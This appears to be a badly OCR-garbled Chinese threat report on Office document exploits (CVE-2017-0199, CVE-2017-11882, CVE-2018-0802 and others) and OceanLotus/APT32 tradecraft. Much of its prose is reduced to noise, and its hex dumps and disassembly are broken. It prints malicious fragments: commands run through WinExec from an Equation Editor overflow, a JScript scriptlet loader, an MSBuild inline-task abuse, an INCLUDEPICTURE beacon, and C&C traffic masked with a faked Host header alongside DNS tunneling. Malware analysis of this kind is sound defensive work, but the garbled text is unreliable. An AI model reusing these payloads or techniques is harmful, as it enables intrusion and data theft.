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o A
3.2.1 Office O OLE Y
Office AT T Y Ws
~1 . w L op (Compound File Binary Format, CFBF)
Office 20031 H [k a v O (Structured Storage, SS)
W A w DOC XLS PPT A 3 b Composite Document File

V2 Document(CDF)A
~ 27 Office Open XML (OOXML)

Office 20071 a YW Y XML P W Y ZIP A
) A w DOCX XLSX PPTX A
R (RTF)
Windows Q a N a L (control word) Ne (group)
D A w RTFA
3 ~ 6 OLE O b AW 5 o A A
3.2.1.1 OLE CFBF X Y
CFBF T~ y ((storage)  (stream) Ai T | el b
L~ I pLA O bl UL (root storage)A
OLE CFBFT H W w4 "\x010lelONative" N G
1 Y3 W ow o wI\x010le"™ T G Office A
"\x010lel0Native" 7/

0| 1| 2| 3| 4| 5| 6‘ T| 8| 9| 10| 1‘ 2| 3| 4‘ 5| 6| T| 8| 9‘ 20| 1| 2| 3| 4‘ 5| 6| 7‘ 8| 9| 30| l| 2
NativeDataSize (4 EYTES)

WativeData (variable)

36 "\x010le10Native"
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0| 1| 2| 3| 4| 5| 6‘ T| 8| 9| 10| 1‘ 2| 3| 4‘ 5| 6| T| 8| 9‘ 20| 1| 2| 3| 4‘ 5| 6| ?‘ 8| 9| 30| l| 2

Version (4 EYTES)

Flags (4 BYTES)
LinkUpdateOption (4 EYTES)
Reservedl (4 EYTES)
ReservediienikerStreanSize (4 EYTES)

EeservedienikerStrean (variahle)

RelativeScurceMenikerStreanSize (4 BYTES, optional)

RelativeSourceMonikerStrean (variable)

shsoluteScurcellonikerStreansize (4 BEYTES, optional)

AbsoluteSourceMonikerStrean (variable)

CLEID Indicator (4 BYTES, opticnal)

CLEID (16 BYTES, optionall

ReservedDisplayName (LengthPrefixedinicedeString, wariable, optienal)

Reserved? (4 EYTES, optional)

LocalUpdateTine (FILETIME, £ EYTES, optional)

LocalChecklUpdateTine (FILETIME, 8 EYTES, optional)

RemotelpdateTine (FILETIME, & EYTES, optiecnal)
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"\x010le" T~ v ~ p 4 T 2@ MonikerStream(Relative/Absolute
SourceMonikerStream) 1 T~ = Moniker ~ ( UrIMoniker URL  ~
FileMoniker ) )A

3.2.1.2 OLE O00XML X Y

OOXML T~ OLE H N .xml.rels p TA Type
# A OLE # w ".../relationships/oleObject"A
G Twoou pT TargetMode = "External'™ ! '

openxmliorra
“openxmli
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RTF b a L Ne P A
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Control word+ Meaning » E

Object Type« @
—yifeaks i el TR T

- \objlink ¢ An object type of OLE link. ¢
 lobjautlink An object type of OLE autolink!
er subscriber. » -  \objsub~ An object type of Macintosh Edition Manag
er publisher. < - \objpub ¢ An object type of Macintosh Edition Manag:
sh Installable Command (IC) Embedder.« - \objicembe< An object type of MS Word for the Macinto:
age (HTML) control. « - \objhtml« An object type of Hypertext Markup Langu;:
- \objocx< An object type of OLE control. <

@ Object Information <

:ame document. ¢ \linkself< The object is a link to another part of the s

\objlock« Locks the object from any updates.

o aligy e
din the - \objclass< The text argument is the object class to use for this object; ignore the class specifies
object data. This is a destination control word. ¢
. \objname« The text argument is the name of this object. This is a destination control word. <
\objtime ¢ Lists the time that the object was last updated. ¢
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"\x010le" A

00000690 FF FF FF FF FF FF FF F¥ FF FF FF FF [ DirectoryEntries[4] 0x00000400 0x00000200  List<OLESSDire

000006A0 FF FF FF FF FF FF FF FF FF FF FF FF

00000680  FF FF FF FF FF FF FF FF FF FF FF FF OLESSDirectoryEntry[0] \Rook Entry 0x00000400  0x0D000080  OLESSDirector
0000060 T | = OLESSDrectoryENtry[1] \Root Entry\ Oke | 0x00000480 0x00000080 OLESSDirector
000006D0 FF FF FF FF FF FF FF FF FF FF FF FF

Pl = - o it 55 o7 OO B G0 OF G5 on EleName Ole 0x00000480 0x00000040  Dataltem_Unic
00000EFD  FF FF FF - CbEleName 0xA 0x000004c0 0x00000002 Dztaltem Ulnt
10000700 EERERGED Tyae 02 0x000004c2  0x00000001 Dataltem Ulnt

0x00000001

0x000004c3

INTETET
- L O O O O O N U O U U O O O N TR O
0x00000004 FEOEE RE RE BE BE RE EE FE RE BE EE FE RE

. IRl RE BRI EE BE RE ER R RE EE KR RE R
. FEOFE CEECEE CFE FE OEE FE FE EE FE FE FEEFE
L O O O O O N U O U U O O O N TR O 0x000004d0
FEOEE RE RE BE BE RE EE FE RE BE EE FE RE
VEORE BE EE EE FE FE BE BE BE FE EE EE ED
FE FE KF FE FE KK KF FF KE KF FE KR OFF RE Hed
IRl RE BRI EE BE RE ER R RE EE KR RE R
IR T S T T T I T T
IRl RE BRI EE BE RE ER R RE EE KR RE R
[TTITINT [TETINTINT

0x000004c8

[

Q0000080
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@ T "y AbsoluteSourceMonikerStream T [ {79EACOEO-BAF9-11CE-8C82-

00AAO04BA90B} W CLSID 4 URL MonikerA

SR e onie|

: ’*'¢1 CL5ID: 79EACSEE-BAF9-11CE-BCE2-88AABE3EA0BE l

— B i B0 e
rstem22%urlmon.dll InProcserver32: C:\Windows\s)
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Y Ty [ URL Moniker B4 A URL Moniker v
(Media-Type Negotiation) W N F Tw Content-Type W N
text/plain A



CVE-2017-0199 0 DHW b " A b y \ T
W Tt @ Office mshta.exe(HTA Moniker ) hta @ [
hta b Y K 9 A
Transport-Provided
Tr ook, L iNeoatocolEnncificl
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URL Moniker File Moniker3™ Yy o 3 L A File Moniker w 0
GetClassFile 0 COM ® CLSIDA
GetClassFile @ WOw b _ o - Y T
b TP ) CLSIDA
CVE-2017-0199 File Moniker .sct b w 0 Script Moniker
s v esct pT p A
s 7 CVE-2017-0199 Y PPSX pu A ppt/slides XML
T e - - rels o T A

ppt/slides/ _rels  rels T @
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I 8€

G CVE-2017-0199 k ~ 03w b FilterActivation LA H~
2, HTA Moniker Script Moniker  CLSIDA W b A
3 @ Tw Composite Moniker 0 Scriptlet Moniker 0 ¢ Iy
4 CVE-2017-8570 A
44 RTF-OLEChject.ss |44 RTF-OLEObject.ss
EiE) RTF-OLEObject.ss As HEX | AsText | AsPicture | As RTF | as HTML
?Lj ngnh 02200000000 0100 Q002 0500 0000 0100 Q000 Q000 0000 | ... ... ...
?Lj Ommh 02200000010 0000 0000 0000 0000 COO0O0 Q000 0502 0000 | .. ...
02200000020 0000 0000 CO0O0 0000 0000 004 OQOZOO0 0000 | ... ... ... F....
0200000030 0302 0000 0000 0000 COO0O0 Q000 Q000 0048 | .. ... ..o F
0200000040 0000 1AR00 0000 S5CSC 3132 37ZE Z20ZE 20ZE | ...... WAW1IZT7.0.0
0x00000050 315C €324 5C74 5C74 €573 T4ZE 7363 7400 lhvcshvthtest.sct
0x000000&0 0EQD ADDE 0000 0000 0000 0000 0000 0000 | ...t
0x00000070 Q0000 Q000 0000 0000 32300 0000 3200 0000 | ........ 8...2...
0200000080 Q0300 5C00 SCO0 3100 3200 3700 ZEOQO 3000 WoholoZoT7...0
0200000050 ZEOD 32000 ZEOO 3100 5C00 €300 Z400 5C00 Q... 1l.Nv.oc.F.h
0200000020 7400 5C00 7400 €500 7300 7400 ZEQO0 7300 t.\v.t.e.s.t...5
022000000B0 €300 7400 CEAF ABEC 157F D211 S73E 0000 [
022000000C0 Fa7s5 TEZ Q0000 0000 0000 Q000 0000 0000 Suaed L
022000000D0 0000 0000 0000 0000 0000 0000 FFFF FFEFF | ... ... ... ... ...
02x000000EQ 0€e0% 0200 0000 0000 COO0O0 Q000 Q000 0048 | .. ... F
0x000000F0 0000 0000 FEFFF FFFF 0000 0000 0000 0000 | - ...
0x00000100 S0€€ €0R€ 37B5 DZ01l 0000 Q000 QOO0 0000 SET LT L.
0x00000110 I
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WwNRE ®\

[y

if [ ronnactliRle 1= aplld

B I BT w .

6172 {
6173 for (int i=©; i<_connectURLs.Count; i++)
6174 {
6175 sb.Length = @;
Baw et wa s . B1TA - ch Anmandldadandad -
if (1 == @)
{

¥

else

{
// Only the first location is used, the rest are commented out in
sb.Append("//base.ConfigureProxy(this.GetType(), ");
sb.Append(lisdlParser.IsValidurl((string)_connectURLs[1i]));
sb.Append(");");

}

textWriter.WriteLine(sb);

}
}
50 CVE-2017-8759 4 rie
Pt A D 7 a W ¥ URL a T it
/7y v URL A A
URLT ~ Wa T | T K 9

internal static string IsValidurl(string value)

{

if (!System.Runtime.Remoting.Configuration.AppSettings.AllowUnsanitizedWSDLUrls)
{

return WsdlParser.TransliterateString(value);

1
if (value == null)
{

Peturn "\
¥

vsb.Length= 8;
vsb.Append("@\"");

for (int i=@; i<value.lLength; i++)

>

{ - . - -

else
vsb.Append(value[i]);

I

vsb.Append("\"");
return vsb.ToString();
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o i T

) = if-{sxring. IsNullOrEmpIy{str
{
FELEFE L © o
:
saseLetter, (L1l)LowercaselLetter //UnicodeCategory: (Lu)Upper:
gBuilder("\""); StringBuilder sb = new Strin
foreach (char ¢ in str)
{
if (char.IsControl(c))
{
ontinue;
b
() if (chzr.IsLetterOrDigit!
{
sb.Append(c);
] )
{
5.Append("\\u"); sl
b.Append(Convert.ToInt32(c).ToString("X4")); s
b
¥
(ll\rrrl); sb.Append
.Tostring(); return sb
}
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CVE-2017-11882 1 E 3.0 b FONT W @ ¥ A

RTF o T~ COM ProglDw Equation.3 P SrWTT ProglD 3

Y f ProglDr ~ A
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10500000200, 7500500000045 7175 FIFSRTE% F6e2¢33000000000000000000000¢0000
2 54 dOct11e0a15112610000000000000008000000000000000036000300FFF09000600000000000000000000000100000001000000000000000010000002
000001000000 fef £ FFF0000000000000000F FFFFFFFFFFFFFFEFFFFFFFferFererrerrrrerrrrrfrrrrrrrrrrrrrrerrrrerrrrrrrerrrrrrrrrree
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OLE 0 Ne "7 YO0 E " P "Equation Native" p A

55555515 (;(‘] 65 56 aa I e e [=} OLESSRoot 0x00000000
00000820 OLESSHeader 0x00000000
R S P L SR PP . S I
XOODDOERD g, + 00 00 00 O 00 00 00 00 DO 0O 46 1A 0O [ MinFAT[128] o
x00000400  COOHEBER an f e 71 B3 AR A BD 2 [ Direxcturybiniries]t] 0
so0D00qon  COCHRES LG b nnonn oA Woot Friry 0
Vi ,m) o AN L I i ke e )
et i ‘oal Entry
0000000 00 00 63 66 02 00 Y™ 00 00 00 00 00 00 oor  HUEEE L]
S EREIEET) 0 my 112
DR, TR
i
0x00000548 + sidRight 0x3
0x0000054¢ e sidChild OxFFFFFFFF
0x00000550 o clsidThis
0x00000560 \\\~¢_§‘ - UserFlags 0x0
000000564 "\\\ b LrzateTimng [
0x0000056¢ ‘%\\”"%ﬂ - ModifyTime 0x0
0x00000574 i StartSect Ox1
0x00000578 - - Sizelow 0x69
3000005 7 i .. & SizeHigh 0u0
I . TE T
000000580 [+ OLESSDirectoryEntry[3] ‘Root Entry\Dbjlnfo
v 000000600 [+} OLESSDirectoryEntry[4] ‘Root Entry) o
I, Ox00000680 [+ OLESSDirectoryEntry [S] \Orphaned |\ IIIIIIIT
IR 0x00000700 [} OLESSDirectoryEntry[5] \Crphaned ' IIIIIIIITTT
IR 0x00000750 |+ OLESSDirectoryEntry [7] Orphaned \IIIIIITITT
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struct EQNOLEFILEHDR {

WORD  cbHdr; // v W Ox1CA
DWORD  version;  // W 0x00020000A
WORD  cf; // E < A
DWORD  cbObject; // MTEF b’ A
DWORD reservedl; // E
DWORD reserved2; // E
DWORD reserved3; // E
DWORD reserved4; // E
}s
% T ! A
00000900 1C 00 00 00 02 I.:Jl".} BE C3 45 00 00 00 00 00 00 00| 3"iit]?. .......
00000910 28 24 &8 00 7C A8 &9 00 00 OO0 00 OO (fhol "i.uua.
56 CVE-2017-11882 4 I 4€
3t " '
4 [ v
0-1 cbHdr E 0x001C
2-5 version g 0x00020000
6-7 cf < 0xC3BE
8-11 cbObject MTEF 0x45 4 69
12-15 reservedl E 0x00000000
16-19 reserved?2 ‘E 0x00682428
20-23 reserved3 ‘E 0x0069A87C
24-27 reserved4 ‘E 0x00000000
E w E AE a U
Q0000910 P
00000920 85 20 2F 63 63 chd.exe Jcc
00000930 141 alc.exe s ARRRRA
00000940 41 ARRRRRRRRRRRRRAR
Q0000950 02 | A,.C.d...B...f..
00000960
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0x08 w FONT T |7; A
v
0x08 FONT
0x02 typeface
0x81 r
0x636D642E. ..... r Y "4 9T cmd.exe...
v




a812F280
AB12F28Y
A812F288
A812F28C
A812F2008
BB12F204
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A812F2n8
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A812F2E0A
B812F2BY
A812F2E8

A812F2BC
AR12E2T @

A812F2EC
F7EFDFBA
030112FB
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F7EFDFCE
F7EFDFED
F7EFDFDA
AB12F660
A812FABS8
aaaaae21
BOBBFFFF
A812F2F A
aa4115D8
A812F430
Aagaaaan

A812F2CC
AR12FAAR

15 [ |

GDI32.77EFDFB1 EH
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nti
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B
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BE12F280A
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ﬂﬂ12F2?

feipieiaict
b L
1M2F430
igagaaa
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M2F668
M2F688

P z
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2028FF1E
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652E636C
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P  WinExec

g

B8¥2F2R8° M

BaF2E2AN| T
Ag12F2Aa8|
Ad¥2F2AC | I
FEREFEZEE] G
AB12F2BY @
AE12F2B8( M
AE12F2BC|
AE12F2Ca| M
AE12F2C4| @
F 8e
E ASLRA @
r 5 Y A
ST3 empty -1.6935811826736!

empty 2.86534921991196
empty 1.82587261279498:

5T4
515
S164
66436C18 |CALL | WinExec 35 EQHEDT32.00430C12
6812F430 [BmdLine = "cmd.exe fccalc.exe & AAAAAAAAAAAAAAAAAAAAAAR™,12,""
o80800000|LShowstate = SU_HIDE
B812F2CC|ASCII ""MS Reference Specialty”

A812F668

RAAICAO00
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1 decoy.doc Package )
2 task.bat Package T Y%uudt i
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2nd.batA
3 exe.exe Package Loki (Dyzap)
4 2nd.bat Package © EXE.EXE Word N n
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Ty a = \bin~ T4 W 2633 A 2633 @ Y ( MVE L
Y  OffVisT A

L FATLLED)
[ MiniFAT[128]

000005C0 14 00 02 00 FF FF FF FF FF FF FF FF FF FF FF FF
00000500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O

INMNNAES—o0_ag A 1 fp 00 0o 00 00.00.00 .00

WRuet Sty 1 = 1
\Root Entry\[@le oI (= OLESSDirectoryEnti
mle : : - EleName
OxA 1l CbEleName
0x2 I Type
ox0 - ThyFlags
OXFFFFFFFE - sidLeft
OxFFFFFFFF sidRightt
OXFFFFFFFF - sidChild
[#} clsid This
0x0 UserFlags
ox0 CreateTime
T - Micdity Time
StartSect
4ok
- SizeHigh

[ Jotocooo20000000001

b STy
cof iy Hinkinge

niker Composite Mol

File Moniker

% TMP%\inteldrivel

64 ¢ r2e

Yy @+ T [° OLE a8 Composite Moniker File Moniker  New Moniker
* %TMP%\inteldriverupdl.sct » A sct » G ~ task.bat

Yy G [ Ne A
(2) CVE-2017-11882  CVE-2018-0802

H & Ne 3T M # ¢ E NeA

\mmath’ a JvWa a \binA H wa X () A
RTF T w L L & VW e W OXFF L
L & Y v 3 Y[ bin No - 0 253 4 T
B A \bin L G \bin0 " Koy A

AP RS RIF T

Vo
G

AR




Wae E No :':
(CVE-2017-11882) Wy p

P W

FONT
WinExec('cmd /c %TMP%\task.bat) D

z
z
2
z
2
0

[ SRR TR TR

e E Ne 2

0802 i

D5, £-Q...%......

sy
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As

000000000 c-m 0000 0200 SEC4 2500 0000 0000 2000 I
0x00000010 | ©2A7 SC00 C4EZE SBO0 0000 0000 0331 0003
z 5022 7TFEI|| .. ..

HEX | AsText ]’As Picture ] AsRTF | asHTML

0200000020 | OROR 0800 OlE3 COS0 &SD44 2

0 " 5€

cr:

FONT

W "emd /c %TMP%\task.bat "
(3) CVE-2018-4878

T ~ =Wa Shockwave Flash

W "cmd.exe /c %WTEMPY%\task.bat"

D A

et & A v v N S

0=x00000040
0xz00000050
Nx0000006E0
0=00000070
N=0aannnHn
f=0aannnsn
N=000000A0
0=2000000B0
fx00000000 aann

Y U

B
202
202
202
20z
20z
2Ce

oooo

172 @i

a
a
a
3 20
o
€

12

B
L3P

CVE-2018-

CVE-2018-4878

: lj OObjInfo
[ cocxname

[
< 4 R B
LB LAL L BGeE

.x.rochu..x.ddre
u.I.x3..£. . N.r..
,,,,,, Rhxec. L5,
HHSIETS L E Lk

ess....L5 . hProch
T:

i

RN

“ Office
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Word feature abused by attackers|

706

z = \fldinst

H

AsHEX | AsText ]’As Picture ] AsRTF [ as HTML

0x00000000 HGE’& €655 B524 0000 4657
0x00000010 | 7200 OSS5F 0000 OFAO 0000
0x00000020 | 0000 0042 0ZFF FFFF BF1S
0x00000030 | DOSC DOBE DOBD D182 DOBO
0x00000040 | DOBS 20DO BADO BODO B4DL
0x00000050 | 1582 0BOO 0001 0000 Q000
- - - TN Ay S IO

0x00000070
NxOO000080
Dx000000H50
Ox000000A0
0x000000B0
000000000
0x000000D0
0x000000EQ
0x000000F0
0x00000100
0x00000110
0x00000120

¢ I 6€

5322

1801 o
2100 0000 0100

DOBE
8020
Q0FC

INCLUDEPICTURE =~ W @

A W Kaspersky

T 1A

User-Agent

€& An (un)documented

\field{\*\f1dinst{INCLUDEPICTURE "http://yopmail.com/4.php?stats=send&thread

MERGEFORMAT \\d \\w0001 \\h0001 \\pm1l \\px0 \\pyO \\pwO}}}
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118, 2%
AL, 1%
AR, 3%

EORTE11,31%

G2, 26%
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4.1 ¢ APT
o 2017 Do APT A Y 6 Office
W A APT s 3 AW 0 D
wa " D f D A D 3 [ = A
4.1.1
(OceanLotusd APT32) Wa i v A 0 G 2012
DeT H a a oc3Ah g i D
- w M # A
Dp 2014 D a D a
%oa b b A l
v W ae . afFs3. A
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4.1.1.1

2017 T Doz’ J a’  Ha. a 6] T
. 100 @ A Dp i JavaScript i H ~
P W i D ) ~ " o !
W * A

h D '

1.~ D v T -~ A D Dp
JavaScript ) " v H ~ k a

! p A H Pb G 3 " Ne “ CPUH ~ -
Cookie H Lp A

2 H H D w W i T A b ot W @

RNV i) JavaScript Payload Yy 4w
S 1y 0 D Google " H AW W D
De w24 Fy W A

& This content is Locked @

Please support us, click follow to unlock the content
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[ Google” Y ~ OceanLotus APP G Google




Hi
() @gmail.com
wants to
™ Read, send, delete, and manage your email ®
B View your contacts @
8 View the activity history of your Google @
apps
Allow to do this?
( lance to their terms of n ]
remove this or any other ap ONN¢
My Account
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ms-availablenetworks ~ || =& e -

mscfile REG_EXPAND SZ  %SystemRoot¥\system32Z\mmc.exe "%1" %*

Defaultlcon
shell

> Author
open

: command

RunAs

74 4 rae

e ~ =~

z eventvwr.exe k \Y; 4 b UAC B
2. C€+ BE
H DT~ a  Winword.exe wwlib.dllbw » T
Winword.exe 4 Office Word h A Winword.exe w ¥ v wwlib.dIT
A

>

~

wwlib.dll “ Ty ¥ Wae DLL' £ v n

k2?xm1 version=ri.on?>

J<package>

Jecomponent id="testCalc">

J<script language="JSeript">

<! [CDATA[

Jfunction setversion() {

var shell = new ActiveXChject ('WScript.Shell'):
ver = "v4.0.30319';

lery

shell.RegRead ('HEKLMA\SCFIWARE\\Microsoft\\ .NETFramework\\v4.0.30319\\ "}
} catch(e) {

ver = '"v2.0.50727"';

shell.Environment ('Process') ('COMPLUS_Version') = wer;

function debug(s) {}

Jfunction baseé4ToStream(b) {
war enc = new ActiveXObject ("System.Text.ASCITEncading™):
var length = enc.GetByteCount 2 (b);
var ba = enc.GetBytes_4(b):
var transform = new ActiveXObject ("System.Security.Cryptography.FromBaseé4Transform”):
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new hotiveXObject ("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3):
ms.Position = 0;
return ms;

2lized,abi s MRBFRRENLS AL ?O

e

W W  shellcode shellcode w I} N W D - Dp
b CVE-2017-8759 ! shellcodew ~ f shellcode TP
W @ word A
3. ¢&r CE
aa DeHup T~ # MSBuild.exe Dp
MSBuild L We 6 Ty XML ) L=
b D~ Y Visual Studio T b A
XML pT Y W b~ L p = - (Ol

~ ~

T C+ 7 A H = MSBuild "H Task "H H KF w Y

—_c
v}
>



N ~

Q"1 T C# “ Y # H Task % S I = VAP

<Project DefaultTargets = "Compile"
x¥mlns="http://schemas.microsoft.com/developer/msbuild/2e83" >

«l-- Set the application name as a property --»
<PropertyGroup>

<appname>HellolorldCS</appname>
</PropertyGroup>
<!-- Specify the inputs by type and file name -->
<ItemGroup>

<CSFile Include = "consolehwesl.cs"/>
</ItemGroup>

<Target Name = "Compile"»

<!-- Run the visual C# compilation using input files of type CSFile --»
<C5C

Sources = "@(CSFile)"

OutputAssembly = "$(appname).exe">

<!-- Set the OutputAssembly attribute of the CSC task

o £he AL #hn Auacsdakla C3lodbos . .

Ile

EEEQ? = g BTl S S EEF

o i‘ R
76 4 I 6€

wa  MSBuild W @ Powershell N Powershell
Tv Wae EXE p~ 9 | S Y c&c LA

88380000 FC cld
E8 boeeepon call BB3BO606
] short oe3pBes2F
edx Consoled. 884816873
ecH,
edx,
esi,
esi,ecx kernel32.7C80189C
edx,
edx ntdll.KiFastSystemCallRet
ebp,
ebp,ecx kernel32.7C88189C

ecx,ebp

edx,

esi,

ebp,ebp

esi,ebp

short 8683BOB2C

short BB3BE6E616

BCx Consoled. 884816873
ecx kernel32.7C88189C

B83BOB2ZF E8 D4FFFFFF call BB3BO608
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{mrrdromer.csisrdyhs —manipn]

/A unction (a,—b) =

ioatlliexs,

5 = fk,
e
78 4 I 8e
P G p~ P 4 T W 0 A
~ 279 Ty [ 33 6 H A
' , , Ne , DPI,CPU ,CPU , Ne
,BuildID “ jsHeapSizeLimit screen.colorDepth’ Java ¥

cookie IP
T H 0 [cC +F AbD H s

= tiypdof window % window : thils.. funatiew #

: browserhash,

: array2ijson(window.listIP) .replace(/"/g,
{client}." };
: browserhash,

“ » screen height.  "Ei:

Jvar. info 77 [ Tmouxss2T: screen aidth ¢
= " @ window.outerHeight, "B=mg=r= ! navigator.languages, ‘Cockie

Enabled "=toesic@niwas
T—Fes" =o' };

et sToet-ded] T o Wes ¢, —Java Fnabled T—toesicass

t g Dp [ H - @ 1T IF W W @
JavaScript PayloadA
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. navigator[ O0x€400[258]]1[_ 0xe400[2Z2c]] = {
activex: navigator[_0x6400[4011]1[_0x€400[34511(),
cors: navigator[ Ox6400[401]] [ _Oxe400[4Zc]11() .,
flash: navigator[ Oxe400[401]1]1[_ 0xe400[42Z7110) .
foxit: navigator[ 0x6400[401]11[_0xe400[425110),

Jjava: navigator[ O0=xe400[401]]1[_ 0xe400[4235]11 Q).
phonegap: navigator([ O0x6400[401]1]1[_0x6400[40511() .
quicktime: navigator[_ 0x6400[40111[_0x6400[42011().,
realplayer: navigator[ Ox6400[201]1][_0Oxe400[421]114() .,
silverlight: navigator[_0x6400[401]1]1[_0xe400[422110),
touch: navigator[ O0xé400[401]][_0x6400[422]110),
vbhbscript: navigator[ Ox€400[401]1][_0x6400[424110),
vlc: navigator[_ 0x6400[401]11[_0xe400[425110() .,
webrtc: navigator[ O0x€400[401]]1[ 0xed400[42c]]1(),
websocket: navigator[ 0x6400[40L1]1]1[_0Oxe400[427110).,
wmp: navigator[ O0Ox€400[401]11[_0x6400[422110)

. navigator[ O0=x€400[258]][_ 0xed400[225]] = {
width: screen[ 0x6400[246]11,
height: screen[ Ox€6400[245]11,
availWidth: screen[ 0=E6400[440]1],
availHeight: screen[_0=6400[441]],

TR wefr EAEEIRO Sz Rl ARSASN T
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ad. jqueryclick.com/117efea9-be70-5412-9336-893c5a0defal

"{"history":{"client title":"",

mon

"client url”:

"client c
APISID= ;
SAPISTID= ;
UULE= ;

1P _JAR= ",
"client hash":"",

o DH ~ W wih FlashUpdate N

I N - ¥ w H A
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BB4B1EFE| .
BOLAIFFF| . FF7h2h 24

“http://80.255.3_189/Ff1as™

¢SS Rgpth

dword ptr
dword ptr
duord ptr

-dword

edi

edx,
edi,
ebp,

ss:i[esp+8xiC]
ss:[esp+Bz46C]
s5:[esp+@x8]

ptr ss:[esp+Bx8]

83 4 I 13€

s

shellcode "~y [We dIl »

ebp,edx

edi,
edi
ecx,

ecy,edx

edx,ecx

edi,
ebp,

XOF BCX,BCX
cmp ebp,ecx

short @OFCAB2C
short @BFCAB16

edx

M edx

call AOFce0es

aas
salc
mov esp,

]UBBGth
]UEQ?I

T

g L e E i e AR A

BOFCO83Cc

BBFCOB3C

A BO12FAF O ERTIgHTR]H
BOFCO806




81848EC1
91B48EC3
91048ECA
91048ECB
81848EDB|"
91048ED2
81048ED7

§1848EDC

a

33ca

Lo

7C F1

3D @e1e0008

eax,eax

88BB 288086761

eax
eax,
short @1848EC3

68 00108000
B9 28808781
8DL42Y 14

mov ecx,B8x1070028

lea eax,dword ptr ss:

ds:[81871828]=08 (Backspace)

81078148

81878158
810670168

81878178

L L
o

UUUDde e as

50
FF75 F4
FF75 FO

E8 28C9FFFF

C&C F

68 88| 8o
38 30 2E 32|35

a@ 8@
A@ 8a
2E 33
5F 73

nn onn

an
ae
2E
62

o

68 08 o@| 6@
GG 88 68| 6@
31 38 39|2C
5F 6E 6F |73

a8 ae
a2 @

eax

dword ptr ss:[ebp-8xG]
dword ptr ss:[ebp-8x18]
8180835B5

ASCI1 "%dstRBdytd . ZdytRs\t%s\tis\ 1006
B18086CAB
B18086CAC
B1886CAF

89 3+ 39 32|40

[

2F 73 2F

88.255.3.189,/5
ref=nb_sb_noss_1

kernel32.GetCurrentProcessId

8=182C8D4

[

dword ptr ss:[ebp+8x8]
call B1814BBE3

E8 FFDEGBBA

onLr ao

BOFAL4FE | ASCIT “489%t199




T LD
818682208
a18822p9
818822DF
818822E8
818822E2
8100822E3
810022E8
8100822E9
818822EF
8180822F5
8100822F6
818822FC

53
8D85 F4FAFFFF

EB ABGEOBOA
e

FF35 948003601
FF15 CA528281
e

8985 DBEEFFFF
E8 AEFBFFFF

lea eax,dword
EH]

edx
call 61008E8S8
EH]

call

eax
mov dword ptr
call 81881EAF

ptr ss:[ebp-8=56C]

ss:i[ebp-8x1128],eax

aacceaty

wininet.HttpOpenRequesth

ds:[818252C8]=771C2AF? (wininet.HttpOpenRequestA)

+ BA12E888 ETIHHTR
ASCIT "GET"

ASCIT "“/s/ref

0012E8BS
0012E8CS
8012E8DS
G012EBES
BB12E8F8
8012E908
8012E918
8012E928
8012E938
B012E948
8012E958
8012E968
8012E978
8012E988
A012E998
8012E9A8
8012E9B8
8812E9C8

Accept: =/*_._Hos
t: wwu.amazon.co
m..Cookie: skin=
noskin;session-t
oken=UGUHLixDITn
FUq1XEAppfOroFyk
eif/As/udpNZSBP6
YEmRB2rncq49cpmD
KHEnKw+chu9LrWin
mSoPplHYWGZ9RKSFQ
7uBBGbmnixBrLLIy
EYfgHsKRglgQaus?
Ka3tUbghx15C8a/ 1
j2xkqojapTdgZPbr
rnFuf8%ewbsSQUuju

ASCII "%s"

&bt F H Wy EOF VW v A Host h
~ 3 I
N H A Host A
GET /s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books HTTP/1.1
Host: www.amazon.com
Accept: */*
Cookie: skin=noskin;session-token=j+0t1@/XY2DGYF9s6V49Tsshl3Gg/vbLFRBExki/uxIje/ohailtmKquoUPBalGxxd+L+gdESDptlvhulyOryASkZrT
+L7MvQuiQTHN@3dHHBFXXa@nTVxQEDHL 3AUM+yoLYF161z4F8NbrGGCr8]a6S2tBHILribkCcY3ES I wd=csm-hit=s-24KU11BB82RZSYGI3BDK | 1419899012996
User-Agent: Mozilla/5.8® (Windows NT 6.1; WOWe4; Trident/7.8; rv:11.8) like Gecko
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 288 OK
Date: Wed, 15 Nov 2017 ©9:32:14 GMT
Server: Server
x-amz-id-1: THKUYEZKCKPGYS5T42PZT
x-amz-id-2: a2lyZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rimRuZ2tmZGl4aHRvNDVpbgo=
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Fodca 1 caL. A
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9 [ W Do © Ne v CC F U c&C +
W H H T woow YI A



b.C&C F BotID BotlD 2 zlib4 ~ 41 T 789 A

41130~Te01"ServicePackl”6.1"WindowsTProfessional”7601.winTspl rtm.1011139-1850
AREEME R R T e ?E'Ff—'?ﬂﬁﬁ?’*&ﬁ-‘ﬂ'ﬁf TSI R B G PY PR VY BV - EY. B PN
B o S ST e Wi AT e P e B i e T TR R e o T “lhiﬁ'i'?-.' il .&?5:5.'-
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DNS J Denis
Denis a W # DNSY D 0 3eaT A
0
a. v - v© Base64 ) DNS F+ 8.8.8.8A

5
O BotID

4 (Queries

4 | AAAAAMAMAAAAAAAAAMAAAAANMANAAFKN . . teriava. com: type NULL, class IN
Mame: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAFKMN.Z.teriava.com

[Name Length: 46]

el B I PR A1 41 41 41 41 41 41 41 A
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 4 AAAAN
41 41 41 41 46 6b 4e 81 Fa @7 74 65 72 69 61 V6 AAAAH
61 B3 63 6f 6o BB BB B2 BE G T T

90 4 I 20€




4 Answers
4 AAAAAAAAAAMAAAAAAAAAAAAAAAAAATEM . 7 . teriava. com: type NULL, class IN
Mame: AAAMAAAAAAAAAAAAAAAAAAAAAAAALATgM. z. teriava. com

140090, §c 29 §4.ek a2, 90 50.

91

o 2E D9 95 624 Ox2ED99562 Yy  Denis

C. Denis C&C O
Base64 A
o QUEFZLES

H -

h

C&C

_5h_fA.c? 7d_A%_@A_45 oA
_BEEY ST _SF 565817

Wyt

A

1T .-P u, }AJF.

BotIDA
) zlib 4

4 | LtmVYgQAAAAAAAEAAAAAAAAAAAAAATCY . AAAAADWAAAABAAAAE Jwlc_ULDAY1MjeyMHQy

MName: LtmVYgQAAAAAAAEAAAAAAAAAAAAAATCY . AAAAADWAAAABAAAAE JwLc_ULDdY]

MThlmae= 1| e —a - Aand

L1

1
1
t
8
d
2
b

tm\VYgQAL
AYLTITLTLYATLTL
ALAAADWA
edulc_U
MHQwdHR
LilKLM
TOP_R2-1i

Be
41
41
41
64

